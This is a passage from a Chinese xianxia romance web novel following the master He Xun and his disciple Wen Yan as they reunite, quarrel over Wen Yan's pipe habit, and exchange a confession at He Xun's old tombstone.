其实徒弟身上的伤不会严重到哪里去,贺峋非常清楚这一点。在兰城把人放走的时候,他就已经在闻厌身上留下了一道护身符,只要人遇到致命的危险就会自动触发,为的就是怕自己那怕疼怕得要死又爱玩的徒弟一不小心就把他自己搭进去了。 一直以来这道符咒都没有任何反应,除了刚才起了些许波动,让他来到广云宗,却出乎意料地见到了又受了伤的徒弟。 闻厌不知道贺峋留下的护身符,但他明白对方生气的点在哪里。 他扬起脖子,凑上前去亲了亲贺峋的唇角,对方没有拒绝,但在他企图更进一步时,又被人按着后颈往后拎开了些许。 闻厌意犹未尽地舔了下嘴唇,迎着贺峋沉沉目光,眸中神色闪烁,最终定格成了一个意味不明的笑容,问贺峋道:“师尊为什么总是不高兴看到我身上有伤?” 闻厌动了动手,和人相扣着的手移到了腰侧那块血迹的上方,即将按上去时,另一道力度从贺峋的手上传来,止住了他的动作。 闻厌的眼中瞬间浮现出了些许坏事得逞的意味,在墙壁和对方身体构成的狭小空间中歪了歪头,眉眼带笑:“师尊会心疼吗?” “……” 贺峋眉间积聚的淡淡冷意还没散去,视线落在笑得明目张胆的徒弟身上,对方眼角眉梢间流露出来的神情非常勾人,像是恃宠而骄,让人明知道他的算盘,还是会心中发软,无条件地顺着他。 贺峋静默片刻,笑了,坦率道:“是。” 闻厌心满意足地笑了起来,他愉悦地又仰起脸亲了亲贺峋的下巴:“那师尊等会儿可不能生气。” 贺峋从鼻腔里疑惑地嗯了一声,看着自己徒弟随意施了个洁净术把衣服上的血迹弄没了,抓着他的手就摸了上去。 掌下的肌肤光滑细腻,没有一丝受伤的痕迹。 “惊喜吗?”闻厌笑得眉眼弯弯,还非常狡猾地先给他扣了个帽子,“开个玩笑,师尊可不能玩不起哦。” 很像贺峋每次起了坏心思吓唬徒弟时的语气,现在被胆子大了的某人学了个十成十,还不能报复回去,不然就成了徒弟口中的小气鬼。 贺峋盯着他看了片刻,最后叹口气,确实非常有气度地没有追究,对人道:“厌厌,你如果想听,可以直接让我说的,不用费心想那么多弯弯绕绕。” 他抽回手,慢条斯理地束好徒弟的衣服,动作淡然,反而是闻厌被对方贴着自己耳朵说话弄得有些痒,不自在地微微偏过头。 耳骨上的皮肤很薄,透出淡淡的粉色,贺峋捏了下,低笑一声:“你的要求为师什么时候没有满足过?你想听我说什么都可以。” 闻厌在那瞬感觉自己好像被调戏了,但对方没有留给他足够的反应空间,轻飘飘地一触即走,已经直起身,对他道:“我们消失的时间足够久了,出去吧。” 闻厌有些难以置信,转过头看人。 他的衣服被整理过,透着一股刻意的整洁,这就使得眼尾已经被对方勾起的情欲格外明显。 闻厌才不信贺峋是真的在乎外面那些人找不到他们怎么办,他觉得这绝对是贺峋故意的。 闻厌决定收回刚才还说这人大度的话,分明记仇得不行。 “嗯?厌厌不想走吗?” 装模作样。 闻厌磨着后槽牙在心里狠狠谴责,不过在对方走回来牵他的时候还是诚实地把手递了出去。 “噗嗤——”贺峋终于撑不住笑了,牵着他的手用力一扯 ,把人接了个满怀。 “厌厌,你真的太可爱了。”贺峋由衷感慨道,“哪怕是个满嘴谎话的小骗子。” 闻厌眼一瞪,就被人在眉间亲了口,俯身时对方的发丝拂过他脸侧,就和落下的吻一样轻柔,成功堵住了他接下来的话。 ……闻厌木着脸跟人走了。 好烦,小心眼- 贺峋其实说得没错,随着他们消失的时间越来越长,外面众人的议论声也越来越剧烈了。 “我刚才真的没看错吗?那真的是贺峋?不是说他已经死了吗?” “千真万确,就是他!前段时间魔域有动乱,有人说看到了一个很像贺峋的人,我还不信,竟然是真的!” “他来这里做什么?” “寻仇吗?我看他像是直接奔着闻公子来的。” “他们不会打起来了吧?!” “不可能,真打起来不可能是这个动静,是不是贺峋他又有什么阴谋?” 过往印象着实让人畏惧,尤其是现在在场的绝大部分修士都没有恢复过来,若是贺峋真有心想做什么,没有人还有还手之力。 话音刚落,殿中的某个角落传来一声轻微的机括转动声,众人议论声中的两位主角出现在了面前。 贺峋的目光在眼前众人身上转了一圈,微笑道:“许久不见,诸位见到我为什么还是一副如临大敌的眼神?” “贺楼主……” “楼主!” 两道声音同时响起,前者是有修士硬着头皮站出来对上贺峋,后者则来自从昏迷中惊醒的周则,醒来后一听到闻厌不见就急了。 相似的称呼中完全不同的指向,透着微妙的争锋意味。 “周副使,你伤口又渗血了……”唐柏追在后面跟他说着话,但周则的眼中已经完全被不远处并肩站着的两道身影占据了。 他以前从来没见过贺峋,在被赵无为安排去魔域之前,他很少在人前活动,所以哪怕关于贺峋的传言满天飞的时候他都没见过本尊的真容。 但是当他看到站在闻厌身边的那个高挑身影时,那两人间极度契合的氛围让他瞬间就锁定了人选。 贺峋给他的感觉很熟悉。 因为身量很高,贺峋往往是在人群中一眼就会被注意到的那种,看人时幽深的眼眸微垂着,唇边还会挂着似有若无的笑意,似乎任何事对他来说都能淡然处之。 闻厌绝大多数时间里在众人面前的模样就是这样的,不过阅历的差距偶尔会让他在某些时候仍未褪去锋芒毕露的尖锐,特别是提及他在十年前死去的师尊时,原本不动声色的阴沉便扑面而来,张牙舞爪地揭示着本人剧烈翻涌的情绪波动。 周则刚这样想着,就对上了贺峋投过来的目光,让他顿时止住了要往那边走过去的脚步。 只见贺峋那双幽深眼眸中的神色瞬间变得有些沉冷,微微眯起,落在他身上时透着几分打量。 那双眼睛中的不悦毫不掩饰,不显山不露水的,却让人浑身一凉。周则发誓他绝对在里面看到了一闪而过的杀意,随后就看到贺峋幅度极轻地勾了勾唇角。 对方非常自然地抬手揽住了身旁闻厌的肩膀。 而他们楼主竟毫无抗拒的意思,和面前的修士交谈着,没有去看突然和自己有了肢体接触的贺峋,身体却已经出于本能往对方臂弯间倾斜了些,宛如某种矜贵又拒人于千里之外的动物破天荒地收起了锋利的爪子,纡尊降贵地愿意让唯一被他接纳的人尽情抚摸自己华贵的皮毛。 之后贺峋就没有再分给他任何目光了,但周则却觉得自己已经一败涂地。 短短一瞬,他们之间就已经完成了一场交锋,对方甚至都不屑于正面与他相争,就以一种漫不经心的态度取得了绝对性的胜利。 “贺楼主这就准备走了吗?” 贺峋应了一声,面前的修士还是有些不敢相信。 这人来时声势浩大,没想到只短暂露了个面,就准备和身边人一起打道回府了,像是仅仅单纯来接个人。 贺峋似乎看出了对方的神色,笑了下,搭在闻厌肩上的手顺势往上揉了揉人乌黑柔顺的发丝,道:“我家徒弟胆子小,性子又软,自己一个人的时候被欺负了怎么办?” 闻厌在心里翻了个白眼,面上却乖巧地笑着,形状漂亮的眼眸弯出一个温良无害的弧度。 恰逢赵无为被人押着经过他们身边,头发凌乱,神情状若癫狂,看到站在一起的师徒二人,眼中迸发着怨恨的光,从喉咙深处发出几声满是怒火的低吼,可被人制着,只能徒劳地挣动一下,绝望而不甘地再次被押着走向地牢的方向。 广云宗修士沉默了片刻,竟好像真的觉得贺峋说得很有道理。 他回想起过往,广云宗和这位闻小楼主间龃龉不断,如今随着赵无为事发,突然让他觉得他们好像真的在欺负人,愣是从贺峋的语气中读出了几分意有所指的不满味道。 他面有愧色道:“闻公子,此前多有得罪,等处理完赵无为的事情后,广云宗必登门致歉。” 闻厌在看赵无为,或者说在越过他看一直安静站在一旁的段婉清。三魂不全,让她对什么都没多大反应,结契也好,大打出手也好,一切对她来说都像是一场闹剧。 那个广云宗的修士见闻厌一直没有反应,更加歉疚,又再三道歉。 总算让闻厌把目光收了回来。 他其实都没有留意对方说了什么,就一直保持着无害的笑容直到对方离开。 “刚才在看什么?”贺峋问他。 闻厌装作没听到,意义不明地哼了一声,然后转头毫不留情地嘲笑贺峋道:“师尊,这么恶心的话您也说得出口。” 贺峋无可奈何地笑。 他是真心实意这样看自己徒弟的,不止胆小,还柔弱又娇贵,不然也不会动不动就被吓得发抖,明明自己已经尽力收敛许多了。 此时的广云宗内一片狼藉,没什么人顾得上他们,闻厌和人一起往出去的方向走。 期间贺峋有点事情暂时没那么快出来,闻厌就站在广云宗的山门旁等人。 周则见到闻厌时,对方正倚在山脚的亭柱旁,姿态闲散地看烟斗上方升腾的烟云。 样子和他作为副使跟着对方的十年间没什么不同,但整个人好像又平和了许多,似乎是一直在不甘撕扯着的一场无形较量落下了帷幕,于是心中紧绷着的那根弦也跟着松了下来。 “楼主。” 闻厌转过头去,看到了自己灰头土脸的下属,在别人都忙着处理伤势时,这人还顶着一身大大小小的伤四处跑。 闻厌挑了挑眉,或许是贺峋去处理事情前的那个吻让他心情不错,他也没太把对方此前的冒犯放在先上,问道:“你怎么来了?” 然后又道:“和你说过了,我现在不是楼主了。” 就是这句话让周则眉心一跳。 他嗓音有些艰涩地问:“……您接下来会去是非阁吗?” 闻厌摇头。 这个自己一手创建的组织已经初具雏形,没有什么需要他寸步不离看着的地方。 而且其实他现在也有些拿不准贺峋对此的态度,像是有些不悦,但又从来没有插手阻碍过。 闻厌道:“先回山海楼吧。” “为什么?您要放弃现在手中的一切吗?”周则立马就问他。 他喜欢权势吗?闻厌感觉自己应该还算得上喜欢,但似乎又称不上执着。 他从没和任何人说过,一开始他想要培养自己的势力,想的其实是如果有朝一日他能和人重逢,他会怎么做?他觉得一定要有能够把某个人牢牢留在身边的能力。 闻厌当时理不清为什么自己那么执着地想要再见人一面,只能归咎于自己师尊就算要死也死得太折腾人,扔给他一堆谜团,比以往的任何一次考校都要让他头疼。 闻厌只能每次都告诉自己,或许等到他想清楚了,对方就回来了。 他笑了笑,从短暂的晃神中脱离出来,对周则道:“因为我已经找到我最想要的了。” 他想要自由,但他更接受不了没有贺峋的自由,如果和对方相爱注定要失去什么,那么他可以忍受。 所以他最终还是输了。 脚步声又从近处响起,闻厌把烟斗从唇边移开,以为是刚刚离去的周则去而复返。 他抬头,发现眼前投下了一片熟悉的阴影。 贺峋不知道是什么时候来到附近的,微笑中似有无奈,对他道:“厌厌,为师什么时候教过你爱一个人和输赢有关?” 贺峋看着徒弟脸上浮现出的些许困惑,感觉人应该是误解了什么。不过这并不是能够被立即纠正的事情。 于是他只是抽过了闻厌手中的烟斗,弯了下唇角:“不过你确实要先还一下债了。” 第54章 闻厌直觉这不是什么好话。 他下意识要从对方手中夺回自己的烟斗, 然而仅仅是眼神一转,贺峋就已经看出了他想干什么,提前把手一举, 十分无耻地仗着身高差欺负人。 闻厌攀着贺峋的肩膀踮脚去够,将要抓到的时候,贺峋就慢条斯理地把手伸直, 让他够都够不着。 “你干什么?”闻厌色厉内荏,压下心虚,先发制人地语气强硬道, “还给我。” 贺峋轻笑一声,指尖一转,冰凉的烟杆就抵上了徒弟的下颌。 闻厌被迫顺着对方力道抬起头,后知后觉地有种对方要新账旧账一起算的预感。 “有人好像又不听话,把为师的话当耳旁风了。”贺峋温声细语的,但闻厌不会天真地以为对方此时还在与他说笑。 鉴于这人时不时就要恶趣味地吓他一下,闻厌已经驾轻就熟地掌握了分辨对方话语中细微差别的能力。什么时候是可以不用理会的, 什么时候是还可以一拳还回去的, 还有什么时候是绝对不能忤逆的……界限分明,成了他几十年间无师自通的一项特殊技能。 现在这种情况就归属于绝对、绝对不能忤逆的范畴中。这意味着对方百年难得一见地捡起了为人师长的责任,对他某件事达到了容忍的阀值,决定要采取些不容置喙的措施。 “厌厌,我说过什么?” 闻厌不敢吭声。 他当然记得刚从兰城出来时, 贺峋借万绍之口传的话, 让他别总是拿着烟斗。不过当时他正被对方的举动弄得心神不宁, 整个人都处于对人微妙的怨怼中, 那股反劲一上来,怎么可能会乖乖听话?早就把对方的话扔到不知道哪里去了。 “看样子记得很清楚啊。”贺峋轻笑一声, 不紧不慢地把人罪名又往上抬了一级,“明知故犯?” 闻厌秉持着多说多错的原则,继续一言不发,眼神刚往一边偏去,抵在下颌处的烟杆便往上一抬,让此刻他不得不正视着对方的眼睛。 闻厌喉结上下滚动,两种截然相反回答会招来的后果在他心中快速权衡,最终开口道:“没有。” 贺峋挑了挑眉。 ……真是个小骗子。 不过今日是能有特例的,小徒弟刚坦明心意,那么乖,那么惹人心动,就算有些不听话还喜欢不老实地抵赖,也让人生不起气来。 贺峋好心地决定再给人一次机会。 他把挑着人下巴的烟管收回来,细长的烟杆被他夹在指尖转了圈,存在感强烈得让人无法忽视,落在闻厌眼中,完完全全是一种人赃并获的意思。 “那这是什么?万绍没告诉你冰月草不能总是用吗?” 闻厌当然知道,可是过去的十年已经让他养成了习惯,一旦闲下来的时候,没了那股清苦的味道就总觉得像少了些什么。 只不过闻厌觉得这个理由听起来不太能够让人满意,于是他估摸着在贺峋那里明面上能过得去的理由,放软了声音道:“头疼。” 不论是真是假,每次他喊疼的时候贺峋大概率都不会为难他了,闻厌主动抬手抱住了贺峋的脖颈,果不其然,对方也伸手揽住了他的腰。闻厌觉得到这种程度的示弱应该差不多了,准备给这场突如其来的诘问画上尾声。 这个念头刚起,头顶就传来一声轻笑。 “厌厌,你疼不疼难道为师会不知道吗?” 僵住。 他最近确实不会头疼了,但对方是怎么知道的? 闻厌在心里闪过某种预感,似乎在他不知道的时候对方悄悄做了些什么,但此刻不是深思的时候,他一听这个语气就知道自己说错话,僵硬了一瞬,毫无负担地当机立断改口:“我错了。” 对着捉摸不透的师尊,说我错了就和吃饭喝水一样简单,贺峋也早已经习惯了自己徒弟毫无诚意的认错,脸上神情没多大变化。 闻厌又亲了亲眼前人的下巴,见贺峋仍旧微笑着看着他,却没有任何触动,投下来的目光晦暗难明,这才感觉事情可能要糟。 果不其然,下一瞬,身体就腾空而起,竟是直接被人单手一抄抱了起来,闻厌吓了一大跳,连忙紧紧搂住了对方的脖子。 只见贺峋拿着他烟斗的那只手凭空画了几笔,两人身侧的空间顿时传来一阵无形的波动,闻厌顿时认出了对方竟然直接开了传送法阵,立马被其背后潜藏着的意味弄得头皮发麻。 传送法阵开启一次损耗的法力不少,有什么事情是要人专程离开这里做的? ……闻厌不用动脑子都能想得到。 所以他连忙空出一只手来并指一划,另一道魔气就紧随其后打在了贺峋尚未完成的法阵上。 法术相撞,顿时在广云宗的山门旁炸起一阵尘土飞扬,幸好此时大部分修士都在山上的正殿中收拾残局,不然准会惊恐地以为这两位祖宗改了主意又要对仙门下手了。 贺峋简直大开眼界,从未发现自己徒弟竟有如此胆量。 他好气又好笑,偏要继续被打断的传送阵,闻厌自然不肯,短短一会儿功夫就僵持了好几回。 贺峋干脆直接屈腿一顶把人抵在檐柱上,腾出空来制住徒弟不断作乱的手,闻厌坐在对方的大腿上,靠勾着人脖子的手维持住摇摇欲坠的平衡,和人以一种极其复杂扭曲的姿势纠缠在一起。 但不管怎么说,贺峋总算让自己闹腾得不行的徒弟暂时空不出手来捣乱了,他刚这样想着,下一瞬就眼角一跳。 只见闻厌直接松开了勾着他的手,拼着摔个头晕眼花也坚决不让人在此时离开,贺峋当然没可能看着这种事情发生,被逼得只能转而去扶住徒弟的腰。 最后还是遂了闻厌的意,没有走成,两人双双跌坐在亭子的坐靠中。 于是贺峋继被人强行抓着手后,又被人结结实实地砸了一身,气笑了:“做什么?” 亭中坐靠都是木制的,又冷又硬,闻厌跌进去的时候,膝盖在上面磕了一下,顿时疼得皱起眉嘶了一声。 他就着此前半挂在对方怀中的姿势跪坐在人身上,悄悄伸手去揉磕疼了的膝盖,眉眼一耷拉,仿佛整了这一出的人不是他一样,非常委曲求全地再次小声道:“师尊我错了。” “……” 徒弟坏事做尽后再委屈巴巴地认错,贺峋早已经对这种不为所动了,哼笑一声道:“小骗子是没有求情的余地的。” 闻厌就搭着人肩膀凑上前去亲那人淡薄的嘴唇,动作小心翼翼的,好像被吓到了一般,看起来格外可怜。 然后看着贺峋的唇角又往上扬了几分细微的弧度,接着被人抓着腰拎进了怀中,修长有力的手指覆上了膝盖骨揉了揉。 闻厌便眯起眼睛笑,故意耷拉下来的眉眼露出几分计谋得逞的神采飞扬:“师……唔!” 后颈猝不及防被人按住了,方才一触即分的亲吻被人重新续上加深,唇齿厮磨都带上淡淡的血腥味。 闻厌有些被对方的态度弄晕了,一会儿好像正生着气,一会儿又和逗他玩似的。 按在后颈上的手捏了捏,似乎在提醒他不要走神。 亲了许久也不见停下来的趋势,闻厌又觉得有些晕了,拍了拍贺峋的后背让人把自己放开。 结果毫无悬念的没有反应。 闻厌又忍了会儿,在感受到有什么撩开自己外袍往里钻的时候彻底坐不住了,挣开压在后颈上的手要直起身,对方搭在自己腰上的手就往下一用力,让他只能不尴不尬地停在了中间。 很快闻厌就意识到自己刚才做了个非常错误的决定。 跪起来后他就比坐着的贺峋要高,低头和人亲吻时就被按着不得不塌下腰,似乎更方便了对方尽情动手动脚。 眼看他劳心费力才打断传送阵法的意图要被换一种形式上演,闻厌呜呜嗯嗯了好几声来表示抗议,换来的就是对方在他唇上又用力咬了一下。 眼眶周围有些发红,闻厌越过贺峋的肩膀,看到了引发现在这一切的罪魁祸首——他那柄烟斗正静静地躺在贺峋旁边的位置上。 闻厌顿时恶向胆边生,伸手要拿烟斗给人当头一棒,指尖才碰到烟杆上冰凉的墨玉,大腿根就被人狠狠掐了一把。 “嘶——你掐我!” 闻厌霎时被疼得眼泛泪花,简直出离愤怒。 对方难得的粗暴对待让他气急败坏,忍让宣告结束,掐着贺峋脖子强行结束了这个看不到尽头的吻,怒道:“你到底想怎样?没完没了了?!” “不就这次没听你的吗?至于那么生气吗?!”闻厌气血上头,什么话都往外冒,就差指着贺峋鼻子破口大骂,“我这样又不是一天两天了,十年前就这样了!多来一两天又死不了,你十年前又不管,现在端什么师尊的架子?!” 他的胸口剧烈起伏着,低头对贺峋怒目而视。 还是怨的。 无意识地脱口而出后,他才发现自己对人十年前那晚还是怨气未消。 虽然现在他已经逐渐明白过来对方的意图,但十年间的后悔辗转和苦苦思念也是真的。 但如果没有这一出,两人还会那么快发展成如今的关系吗? 闻厌不知道,他直觉可能不会,然而这也不足以完全抵挡十年间每个冰冷彻骨的夜晚一点点积累起来的对这人的怨恨。 矛盾纠缠着,就如他们间的感情注定分不出个谁亏欠谁。 他看进贺峋的眼睛中,却发现对方此刻的神情竟然像是柔和的,无条件地包容他所有的情感宣泄。 一开始还逼着他认错的人此时竟道:“嗯,怪我,让你一个人过了十年。” 闻厌身形一顿,手上的力度不自觉松了,眼眶周围的红意瞬间迅速蔓延。他咬着唇,湿红的眼睛死死地盯着对方那张让自己又爱又恨的脸。 贺峋抬手摸了摸他的脑袋:“在这件事情上你想怎么怨我都可以,想骂也好想打也行,只要能让你好受些,都随你。” 这几乎是出现在贺峋身上最柔和的语气了,深不见底的黑色眼瞳中首次是纯然的温和安抚,没有隐藏在温柔后的毛骨悚然。 他就用这种眼神摸了摸徒弟的眼尾,轻声道:“好啦,别哭。” 闻厌真正因为情绪而落泪的时候,动静其实是非常小的,晶莹剔透的泪水从眼尾滑落,只有这倏忽一瞬才会让人惊觉眼前人原来哭了,然后就神色如常,再无一丝端倪。 但在贺峋面前还是有些不同的,本来收敛起来的水汽被人一说,又在眼底聚集,然后化为第二滴泪落了下来。 贺峋先是按了按徒弟的唇瓣,让人松开已经无意识被他自己咬得发白的嘴唇,然后去抹人眼下的水汽。 “厌厌。”他轻声叫着人的名字,语调似叹息,“为师不在的时候你也会总是哭吗?” 其实并不会。 很多事情似乎都是在这人面前才悄然发生的改变。 他遇上贺峋之前,几乎从未真正意义上的哭过。他可以眼也不眨地瞬间落泪,任凭眼泪在脚边积起一个小小的水洼,可是当泪水滑过脸颊,在旁人瞬间有些软化怜惜的目光中,他的心里却是毫无波澜的一潭死水。 是笑还是哭他其实并不在意,就像他也不在意某种程度上自己姓名中浸透的淡淡恶意,当没了期望中的价值,便只得了一个“厌”字了事。 可当年复一年地被眼前人唤着,他还是会留意起自己的名字来,觉得好像也还挺好听。因为对方的语调太过温柔而缱绻了,带着笑的嗓音轻轻吐出这两个叠音时,似乎比所有的情话都要动人。 不过闻厌是必不可能如此轻易承认的,他轻轻哼了一声,看人的目光依旧居高临下:“谁哭了?” 贺峋纵容地笑了笑,仰头亲了下他的鼻尖:“没有人哭,是我看错了。” 他把旁边的烟斗拿起来放回徒弟手中。 闻厌有些惊讶,睁大了眼睛看他。 他现在其实已经不需要靠这个来压着旧疾发作时的头疼了,还继续留在手中不过是这十年间养成的习惯还没改过来。既然带来的只有单纯的负面影响,按照贺峋此前的态度,他还以为对方会强硬地直接没收。 “为师又不是什么不通情达理的人。”贺峋这样对他笑着道。 “习惯难改,这很正常,归根到底这也是为师引起的,自然要担起责任。为师保证,你一定不会再头疼。”贺峋说到最后,还是没有克制住自己的坏心眼,意味深长地笑道,“但如果下次又被我发现,其他地方会不会疼就说不准了。” 第55章 闻厌就知道, 相信这人会温柔,还不如相信明天仙门那群人统统跑来魔域修魔来得实在。 他现在无比唾弃当时的自己,竟然还感动了一瞬。 在又一次因为不小心摸了下烟斗就被拖上床后, 闻厌麻木地想,还不如头疼呢。 起码不会先是被亲得嘴巴疼,然后再弄去床上, 变得浑身都疼。 尤其这人还喜欢借题发挥,似乎这样就能够理直气壮地实施他那些恶趣味了,每次被按着弄到精神恍惚时, 闻厌都会怀疑这人前面说的是不是都是假的,实际上记仇得很,早就在找机会把他弄死在床上。 偏偏这人整日还一副无所事事的样子,就喜欢盯着他折腾。广云宗出了事,万绍便回兰城去了,闻厌和人一起回了山海楼,眼睁睁地看着对方乱晃了好几天, 才因为逐渐临近的归元之会忙了起来。 届时魔域各门派都会有人来山海楼, 而这次因为贺峋的回归,气氛透着几分微妙,有不少事情需要贺峋定夺,清晨的时候闻厌模模糊糊感觉到身旁有轻微的响动,应该是对方一早就出去了, 直到日头高照也不见踪影。 “楼主。” 他推开寝殿的时候, 有侍从见他出来向他行礼, 这让闻厌的感觉有些微妙。 他回来后发现楼中仍有不少熟悉的面孔——是他在这十年间一手提拔上来的, 完全听从于他的势力,不是那些贺峋还在时就经常会与他为难的刺头。 背后的意味让他禁不住深思。 在他设想中, 还以为迎来的会是变相的圈养,最好的情况也是像以前两人在山海楼中的位置一样。 毕竟以那人的作风,怕是恨不得直接把他拴在身边,日日看着,隔绝外人所有可能的窥视。 而就算如此,他大概也是不会反抗的。 至少现在不会。 一路上都没有碰到贺峋,随便拉住一个碰到的侍从问了下。 “啊,楼主。”对方在楼中的时间不短,清楚这对师徒间的恩怨纠葛,所以现在的情势更让他有些战战兢兢。 贺峋治理楼中上下时就一向是说一不二的,后来闻厌掌权,又把他师尊的手腕学了个七八成。以前的时候还好,十年过去后,羽翼渐丰的徒弟遇上突然回来了的师尊,怎么看都透着将要发生一番争锋的意味。 侍从斟酌了一会儿,才小心观察着他的脸色道:“贺楼主在信阁,楼主是要过去吗?是否需要属下通报一二?” 语气小心翼翼,似乎怕这个称呼会让他不悦。 “不必了。”闻厌道。 他独自拐进了一条僻静的小路,一直通向山海楼后面的山崖,那里还留着他一开始给某个人立的墓碑。 闻厌在碑前蹲下身,伸手一寸寸拂过自己亲手刻下的碑文。 石碑和肌肤接触时触感冰凉,某些时候会让闻厌联想到那人偏低的体温,在过去的十年间,这让闻厌来这里的次数不算少。 可不同的是,对方的怀抱是柔软的,只有在这时,于后知后觉从心脏蔓延上来的钝痛中,闻厌才会一次又一次地意识到自己有多么想念某个已故之人的触碰。 不过现在贺峋已经活生生地出现在身边了,再立着碑好像有些不吉利。虽然闻厌一向自诩没那么多讲究,但他一想到这个还是控制不住地心里梗着不舒服,抽空就打算来把这里推倒了。 闻厌刚要收回手,身后就覆上来一个熟悉的怀抱,贺峋的嗓音随后在他耳边响起:“回去后没找到你,原来跑这来了。” “嗯?”贺峋抬眼就看到了眼前的墓碑,似觉得有趣。 “先师贺峋……”贺峋毫不避讳地读自己墓碑上的刻字,笑起来,“有人嘴上说着不认为师,背地里还是很诚实啊。” 贺峋握着徒弟还没收回来的手,把人带着转了个身,面对面拥进怀中。 他低下头和人亲昵地蹭了蹭鼻尖,弯起眼睛道:“那么乖?” 闻厌下意识地往旁偏开了目光,有些微妙的难为情,可是整个人都被对方堵在墓碑前,严丝合缝地环在怀中,走也走不了。 闻厌要把人推开再附上一句别自作多情,可是转头就看到自己刻下的笔画,自己都觉得非常没有说服力。 伸到中途的手便不尴不尬地停了下来,顺理成章地落到了贺峋的掌中,对方心情愉悦地捏了捏他的掌骨两侧,眼中浮现出细碎的笑意。 闻厌的目光情不自禁就粘附在上面了,像是夜间看到了灯火的飞虫,嘴角也无意识地扬了扬。 看着看着,发现有哪里不对劲,接着才注意到贺峋身上的外袍,和自己身上这件纹样相近,不过尺寸小了些,幸好本来就是宽松的款式,穿在这人身上倒也不会显得很紧。 ……怪不得他今早出寝殿的时候觉得哪里有些怪怪的,原来是和人穿错衣服了。 闻厌就着这个发现,垫着厚重的外袍舒舒服服地坐了下来,仰头睨贺峋一眼,哼笑一声:“是啊,有人禽兽不如,自己的徒弟都能下得去手。” 贺峋先是看着他笑,然后喊冤:“厌厌,虽然我不是什么好人,但你说得我也太不知廉耻了。” 闻厌递给他一个眼神,准备看人能怎么狡辩。 继而就听贺峋说第一次是他主动的。 “不可能!”闻厌矢口否认。 闻厌第一反应是这人又信口胡说,直到记忆闪回一瞬,他看着眼前人近在咫尺的唇瓣,记起了自己弱冠那年的生辰礼。 就在距离此地几步远,那晚漫天的花树摇曳中,混乱的战栗与兴奋下,他出于自己也说不清楚的感情吻上了对方的嘴唇。 “……这也算吗?” “怎么不算?”贺峋垂着眼看他,用一种好像他是什么玩弄别人感情的负心汉语调,“厌厌这也要赖账吗?” 闻厌敏锐地指出:“那你回应得也太快了,我不信你没动心思。” 贺峋失笑:“在这些事情上就看得那么透,真是……” “不许转移话题。” “好吧,被你发现了。”贺峋认输,无奈地笑。 闻厌露出了个你看我果然没说错的表情。 “说起来,那晚之后,就一直缺了个东西,我感觉还是需要补上的。”贺峋道。 身后就是他默默相对了近十年的墓碑,而碑上刻着的那道名姓却在自己身前落成了半跪于身前的人影。 闻厌靠着冷硬的石碑,对方修长有力的手指牵起了他的手,温度微凉,而又沉稳有力,肌肤相触时在心底撩起微小的火花。 贺峋专注而虔诚地在他手背落下一吻,山风恰在此时穿过,拂过眼前人身侧时渐渐慢了下来,轻撩起两人的衣角,缠绵地纠葛在一起。 贺峋抬眼,黑沉的眸中敛着细碎的光,于此刻对闻厌有着不可忽视的吸引力。他道:“我爱你,厌厌。你愿意一直留在我身边吗?” 闻厌的眉梢微动,良久之后轻轻地笑了一声,反手一拽贺峋,仰起头咬上了对方的嘴唇。 贺峋撑在闻厌上方,另一只手捧住身下人的侧脸,配合地低下头和人接吻。 亲吻的间隙,贺峋一抬眼就能和自己的名字大眼瞪小眼,感觉有趣,从喉咙深处发出含糊的笑声。 闻厌不用看就知道对方在笑什么。 他莫名觉得自己此刻像是被十年前的贺峋和十年后的贺峋一起包围了。 激烈的气息纠缠暂歇,闻厌的呼吸比平常急促不少,清亮的眼中欲念交融,嗓音在细微地发着颤。 不过闻厌口中却是道:“师尊,这问题您早就问过了。” 贺峋只是笑着看着他。 闻厌就道:“真看不出来,您竟然是会纠结于这种问题的人。难道您没有把握留住我吗?” “这可不像您的作风,真神奇。” 贺峋还是看着他但笑不语。 “好吧。其实我想说的是……”闻厌放弃抵抗般笑了出来,抬手摸了摸对方被自己咬出血色的唇角,说道,“我愿意。” …… 闻厌准备把墓碑推倒前最后看了一会儿。 贺峋就并肩站在他身旁,和他一起看着自己的墓碑。 闻厌本以为自己面对此情此景还会有些感慨,一看到站在身边的人就有些撑不住了,肃穆的神情不过一秒,就控制不住地笑倒了在贺峋的肩上。 “太奇怪了。”他在笑声的间隙中对贺峋道,“师尊,上面好歹是您的名字,你站在前面就像来给自己上坟一样。” 贺峋笑道:“难道不是吗?” “不过说真的,一定要撤了吗?”贺峋的眼中闪着跃跃欲试的光,“其实我们也可以顺便在下头修个墓室,如果在寝殿待腻了,我们还可以来这里小住一会儿。” “……您老人家的癖好真是越来越奇怪了。”闻厌敬谢不敏,生怕晚了一步这人真会产生什么想法,再无任何犹疑。 石碑在两人面前化为齑粉,被风轻轻一吹就四处飘散了,一如沉甸甸压在他心头的往事。 闻厌的目光追随着风远去的方向,然后听到贺峋问他:“厌厌,为什么另一块灵牌上没有落任何称呼呢?” 闻厌被问得一愣。 他好像没有细想过这个问题。 另一块灵牌是他心血来潮时的产物,从削了块牌子再到准备把它立到供桌上去的过程都很顺利,唯独最后临门一笔犯了难。 他本来是打算和崖顶边的这块墓碑称谓一致的,但落笔那瞬,心中总有些隐隐的不满足。 他觉得这样不太准确。 贺峋是他师尊没错,虽然这人喜怒不定、淡薄无情、满肚子坏水、行事作风经常让人毛骨悚然………但一直以来闻厌从未否定过对方的这一身份。 他的一招一试、行事作风,乃至思维方式都已经深深地打上了对方的烙印,此生都无法割弃。 如果抛开各种关系,有人问怎么看贺峋,闻厌大概会跟对方说,他是个好师尊。 可是这个他本以为会非常牢固的定位却在这人消失的十年间不断被拷问,酿成他很长一段时间中都读不懂的情绪,最后让他思量许久,都无法落笔。 是的,其实他早就已经不满于此了,在自己都没有察觉的时候。 贺峋没有等着他的回答,闻厌莫名感觉这人在看到这块灵牌的第一眼就已经明白了答案。 所以闻厌不答反问:“那师尊觉得如果没在一起,我们现在会是怎样?师尊会把我杀了吗?” “厌厌,你一天到晚都在想什么?”贺峋叹气,“我又不是奔着这个把你带回来的。我一开始真的是在给自己找徒弟,又不是找道侣。” “如果没在一起……”贺峋拉长了调子,似在思考,最后促狭道,“厌厌,你肯定也不老实。” “肯定又琢磨着怎么和为师作对,三天两头搞些小动作,要是哪天实在气不过了,说不准会把你扔地牢里关一阵。” 闻厌很煞风景地冒出来问了句:“师尊,这关地牢是正经的关地牢吗?” 贺峋示意人别突然捣乱。 他故意用阴恻恻的语调道:“必须把地牢里所有大刑都给你上一遍,再饿你个十天半月的,看你还敢不敢再犯。” 闻厌那么怕疼,听着却没太大波动,似乎潜意识里完全无法把这些遭遇联系到自己身上。 